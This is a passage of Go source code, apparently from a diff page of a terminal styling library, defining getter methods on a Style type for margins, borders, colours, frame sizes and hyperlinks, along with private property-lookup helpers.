return s.getAsInt(paddingTopKey) + s.getAsInt(paddingBottomKey)
}
// GetColorWhitespace returns the style's whitespace coloring setting. If no
// value is set false is returned.
func (s Style) GetColorWhitespace() bool {
return s.getAsBool(colorWhitespaceKey, false)
}
// GetMargin returns the style's top, right, bottom, and left margins, in that
// order. 0 is returned for unset values.
func (s Style) GetMargin() (top, right, bottom, left int) {
return s.getAsInt(marginTopKey),
s.getAsInt(marginRightKey),
s.getAsInt(marginBottomKey),
s.getAsInt(marginLeftKey)
}
// GetMarginTop returns the style's top margin. If no value is set 0 is
// returned.
func (s Style) GetMarginTop() int {
return s.getAsInt(marginTopKey)
}
// GetMarginRight returns the style's right margin. If no value is set 0 is
// returned.
func (s Style) GetMarginRight() int {
return s.getAsInt(marginRightKey)
}
// GetMarginBottom returns the style's bottom margin. If no value is set 0 is
// returned.
func (s Style) GetMarginBottom() int {
return s.getAsInt(marginBottomKey)
}
// GetMarginLeft returns the style's left margin. If no value is set 0 is
// returned.
func (s Style) GetMarginLeft() int {
return s.getAsInt(marginLeftKey)
}
// GetMarginChar returns the style's padding character. If no value is set a
// space is returned.
func (s Style) GetMarginChar() rune {
char := s.getAsRune(marginCharKey)
if char == 0 {
return ' '
}
return char
}
// GetHorizontalMargins returns the style's left and right margins. Unset
// values are measured as 0.
func (s Style) GetHorizontalMargins() int {
return s.getAsInt(marginLeftKey) + s.getAsInt(marginRightKey)
}
// GetVerticalMargins returns the style's top and bottom margins. Unset values
// are measured as 0.
func (s Style) GetVerticalMargins() int {
return s.getAsInt(marginTopKey) + s.getAsInt(marginBottomKey)
}
// GetBorder returns the style's border style (type Border) and value for the
// top, right, bottom, and left in that order. If no value is set for the
// border style, Border{} is returned. For all other unset values false is
// returned.
func (s Style) GetBorder() (b Border, top, right, bottom, left bool) {
return s.getBorderStyle(),
s.getAsBool(borderTopKey, false),
s.getAsBool(borderRightKey, false),
s.getAsBool(borderBottomKey, false),
s.getAsBool(borderLeftKey, false)
}
// GetBorderStyle returns the style's border style (type Border). If no value
// is set Border{} is returned.
func (s Style) GetBorderStyle() Border {
return s.getBorderStyle()
}
// GetBorderTop returns the style's top border setting. If no value is set
// false is returned.
func (s Style) GetBorderTop() bool {
return s.getAsBool(borderTopKey, false)
}
// GetBorderRight returns the style's right border setting. If no value is set
// false is returned.
func (s Style) GetBorderRight() bool {
return s.getAsBool(borderRightKey, false)
}
// GetBorderBottom returns the style's bottom border setting. If no value is
// set false is returned.
func (s Style) GetBorderBottom() bool {
return s.getAsBool(borderBottomKey, false)
}
// GetBorderLeft returns the style's left border setting. If no value is
// set false is returned.
func (s Style) GetBorderLeft() bool {
return s.getAsBool(borderLeftKey, false)
}
// GetBorderTopForeground returns the style's border top foreground color. If
// no value is set NoColor{} is returned.
func (s Style) GetBorderTopForeground() color.Color {
return s.getAsColor(borderTopForegroundKey)
}
// GetBorderRightForeground returns the style's border right foreground color.
// If no value is set NoColor{} is returned.
func (s Style) GetBorderRightForeground() color.Color {
return s.getAsColor(borderRightForegroundKey)
}
// GetBorderBottomForeground returns the style's border bottom foreground
// color. If no value is set NoColor{} is returned.
func (s Style) GetBorderBottomForeground() color.Color {
return s.getAsColor(borderBottomForegroundKey)
}
// GetBorderLeftForeground returns the style's border left foreground
// color. If no value is set NoColor{} is returned.
func (s Style) GetBorderLeftForeground() color.Color {
return s.getAsColor(borderLeftForegroundKey)
}
// GetBorderForegroundBlend returns the style's border blend foreground
// colors. If no value is set, nil is returned.
func (s Style) GetBorderForegroundBlend() []color.Color {
return s.getAsColors(borderForegroundBlendKey)
}
// GetBorderForegroundBlendOffset returns the style's border blend offset. If no
// value is set, 0 is returned.
func (s Style) GetBorderForegroundBlendOffset() int {
return s.getAsInt(borderForegroundBlendOffsetKey)
}
// GetBorderTopBackground returns the style's border top background color. If
// no value is set NoColor{} is returned.
func (s Style) GetBorderTopBackground() color.Color {
return s.getAsColor(borderTopBackgroundKey)
}
// GetBorderRightBackground returns the style's border right background color.
// If no value is set NoColor{} is returned.
func (s Style) GetBorderRightBackground() color.Color {
return s.getAsColor(borderRightBackgroundKey)
}
// GetBorderBottomBackground returns the style's border bottom background
// color. If no value is set NoColor{} is returned.
func (s Style) GetBorderBottomBackground() color.Color {
return s.getAsColor(borderBottomBackgroundKey)
}
// GetBorderLeftBackground returns the style's border left background
// color. If no value is set NoColor{} is returned.
func (s Style) GetBorderLeftBackground() color.Color {
return s.getAsColor(borderLeftBackgroundKey)
}
// GetBorderTopWidth returns the width of the top border. If borders contain
// runes of varying widths, the widest rune is returned. If no border exists on
// the top edge, 0 is returned.
//
// Deprecated: This function simply calls Style.GetBorderTopSize.
func (s Style) GetBorderTopWidth() int {
return s.GetBorderTopSize()
}
// GetBorderTopSize returns the width of the top border. If borders contain
// runes of varying widths, the widest rune is returned. If no border exists on
// the top edge, 0 is returned.
func (s Style) GetBorderTopSize() int {
if s.isBorderStyleSetWithoutSides() {
return 1
}
if !s.getAsBool(borderTopKey, false) {
return 0
}
return s.getBorderStyle().GetTopSize()
}
// GetBorderLeftSize returns the width of the left border. If borders contain
// runes of varying widths, the widest rune is returned. If no border exists on
// the left edge, 0 is returned.
func (s Style) GetBorderLeftSize() int {
if s.isBorderStyleSetWithoutSides() {
return 1
}
if !s.getAsBool(borderLeftKey, false) {
return 0
}
return s.getBorderStyle().GetLeftSize()
}
// GetBorderBottomSize returns the width of the bottom border. If borders
// contain runes of varying widths, the widest rune is returned. If no border
// exists on the left edge, 0 is returned.
func (s Style) GetBorderBottomSize() int {
if s.isBorderStyleSetWithoutSides() {
return 1
}
if !s.getAsBool(borderBottomKey, false) {
return 0
}
return s.getBorderStyle().GetBottomSize()
}
// GetBorderRightSize returns the width of the right border. If borders
// contain runes of varying widths, the widest rune is returned. If no border
// exists on the right edge, 0 is returned.
func (s Style) GetBorderRightSize() int {
if s.isBorderStyleSetWithoutSides() {
return 1
}
if !s.getAsBool(borderRightKey, false) {
return 0
}
return s.getBorderStyle().GetRightSize()
}
// GetHorizontalBorderSize returns the width of the horizontal borders. If
// borders contain runes of varying widths, the widest rune is returned. If no
// border exists on the horizontal edges, 0 is returned.
func (s Style) GetHorizontalBorderSize() int {
return s.GetBorderLeftSize() + s.GetBorderRightSize()
}
// GetVerticalBorderSize returns the width of the vertical borders. If
// borders contain runes of varying widths, the widest rune is returned. If no
// border exists on the vertical edges, 0 is returned.
func (s Style) GetVerticalBorderSize() int {
return s.GetBorderTopSize() + s.GetBorderBottomSize()
}
// GetInline returns the style's inline setting. If no value is set false is
// returned.
func (s Style) GetInline() bool {
return s.getAsBool(inlineKey, false)
}
// GetMaxWidth returns the style's max width setting. If no value is set 0 is
// returned.
func (s Style) GetMaxWidth() int {
return s.getAsInt(maxWidthKey)
}
// GetMaxHeight returns the style's max height setting. If no value is set 0 is
// returned.
func (s Style) GetMaxHeight() int {
return s.getAsInt(maxHeightKey)
}
// GetTabWidth returns the style's tab width setting. If no value is set 4 is
// returned which is the implicit default.
func (s Style) GetTabWidth() int {
return s.getAsInt(tabWidthKey)
}
// GetUnderlineSpaces returns whether or not the style is set to underline
// spaces. If not value is set false is returned.
func (s Style) GetUnderlineSpaces() bool {
return s.getAsBool(underlineSpacesKey, false)
}
// GetStrikethroughSpaces returns whether or not the style is set to strikethrough
// spaces. If not value is set false is returned.
func (s Style) GetStrikethroughSpaces() bool {
return s.getAsBool(strikethroughSpacesKey, false)
}
// GetHorizontalFrameSize returns the sum of the style's horizontal margins, padding
// and border widths.
//
// Provisional: this method may be renamed.
func (s Style) GetHorizontalFrameSize() int {
return s.GetHorizontalMargins() + s.GetHorizontalPadding() + s.GetHorizontalBorderSize()
}
// GetVerticalFrameSize returns the sum of the style's vertical margins, padding
// and border widths.
//
// Provisional: this method may be renamed.
func (s Style) GetVerticalFrameSize() int {
return s.GetVerticalMargins() + s.GetVerticalPadding() + s.GetVerticalBorderSize()
}
// GetFrameSize returns the sum of the margins, padding and border width for
// both the horizontal and vertical margins.
func (s Style) GetFrameSize() (x, y int) {
return s.GetHorizontalFrameSize(), s.GetVerticalFrameSize()
}
// GetTransform returns the transform set on the style. If no transform is set
// nil is returned.
func (s Style) GetTransform() func(string) string {
return s.getAsTransform(transformKey)
}
// GetHyperlink returns the hyperlink along with its parameters. If no
// hyperlink is set, empty strings are returned.
func (s Style) GetHyperlink() (link, params string) {
if s.isSet(linkKey) {
link = s.link
}
if s.isSet(linkParamsKey) {
params = s.linkParams
}
return
}
// Returns whether or not the given property is set.
func (s Style) isSet(k propKey) bool {
return s.props.has(k)
}
func (s Style) getAsRune(k propKey) rune {
if !s.isSet(k) {
return 0
}
switch k { //nolint:exhaustive
case paddingCharKey:
return s.paddingChar
case marginCharKey:
return s.marginChar
}
return 0
}
func (s Style) getAsBool(k propKey, defaultVal bool) bool {
if !s.isSet(k) {
return defaultVal
}
return s.attrs&int(k) != 0
}
func (s Style) getAsColors(k propKey) (colors []color.Color) {
if !s.isSet(k) {
return nil
}
switch k { //nolint:exhaustive
case borderForegroundBlendKey:
return s.borderBlendFgColor
}
return nil
}
func (s Style) getAsColor(k propKey) color.Color {
if !s.isSet(k) {
return noColor
}
var c color.Color
switch k { //nolint:exhaustive
case foregroundKey:
c = s.fgColor
case backgroundKey:
c = s.bgColor
case marginBackgroundKey:
c = s.marginBgColor
case borderTopForegroundKey:
c = s.borderTopFgColor
case borderRightForegroundKey:
c = s.borderRightFgColor
case borderBottomForegroundKey:
c = s.borderBottomFgColor
case borderLeftForegroundKey:
c = s.borderLeftFgColor
case borderTopBackgroundKey:
c = s.borderTopBgColor
case borderRightBackgroundKey:
c = s.borderRightBgColor
case borderBottomBackgroundKey:
c = s.borderBottomBgColor
case borderLeftBackgroundKey:
c = s.borderLeftBgColor
}
if c != nil {
return c
}
return noColor
}
func (s Style) getAsInt(k propKey) int {
if !s.isSet(k) {
return 0
}
switch k { //nolint:exhaustive
case widthKey:
return s.width
case heightKey:
return s.height
case paddingTopKey:
return s.paddingTop
case paddingRightKey:
return s.paddingRight
case paddingBottomKey:
return s.paddingBottom
case paddingLeftKey:
return s.paddingLeft
case marginTopKey:
return s.marginTop
case marginRightKey:
return s.marginRight
case marginBottomKey:
return s.marginBottom
case marginLeftKey:
return s.marginLeft
case borderForegroundBlendOffsetKey:
return s.borderForegroundBlendOffset
case maxWidthKey:
return s.maxWidth
case maxHeightKey:
return s.maxHeight
case tabWidthKey:
return s.tabWidth
}
return 0
}
func (s Style) getAsPosition(k propKey) Position {
if !s.isSet(k) {
return Position(0)
}
switch k { //nolint:exhaustive
case alignHorizontalKey:
return s.alignHorizontal
case alignVerticalKey:
return s.alignVertical
}
return Position(0)
}
func (s Style) getBorderStyle() Border {
if !s.isSet(borderStyleKey) {
return noBorder
}
return s.borderStyle
}
func (s Style) getAsTransform(propKey) func(string) string {
if !s.isSet(transformKey) {
return nil
}
return s.transform
}
// Split a string into lines, additionally returning the size of the widest
// line.
func getLines(s string) (lines []string, widest int) {
s = strings.ReplaceAll(s, "\t", " ")
s = strings.ReplaceAll(s, "\r\n", "\n")
lines = strings.Split(s, "\n")
for _, l := range lines {
w := ansi.StringWidth(l)
if widest < w {
widest = w
}
}
return lines, widest
}
// isBorderStyleSetWithoutSides returns true if the border style is set but no
// sides are set. This is used to determine if the border should be rendered by
// default.
func (s Style) isBorderStyleSetWithoutSides() bool {
var (
border = s.getBorderStyle()
topSet = s.isSet(borderTopKey)
rightSet = s.isSet(borderRightKey)
bottomSet = s.isSet(borderBottomKey)
leftSet = s.isSet(borderLeftKey)
)
return border != noBorder && !(topSet || rightSet || bottomSet || leftSet) //nolint:staticcheck
}
Loaded 100 of 272 files, more files were not shown because too many files have changed in this diff. Show more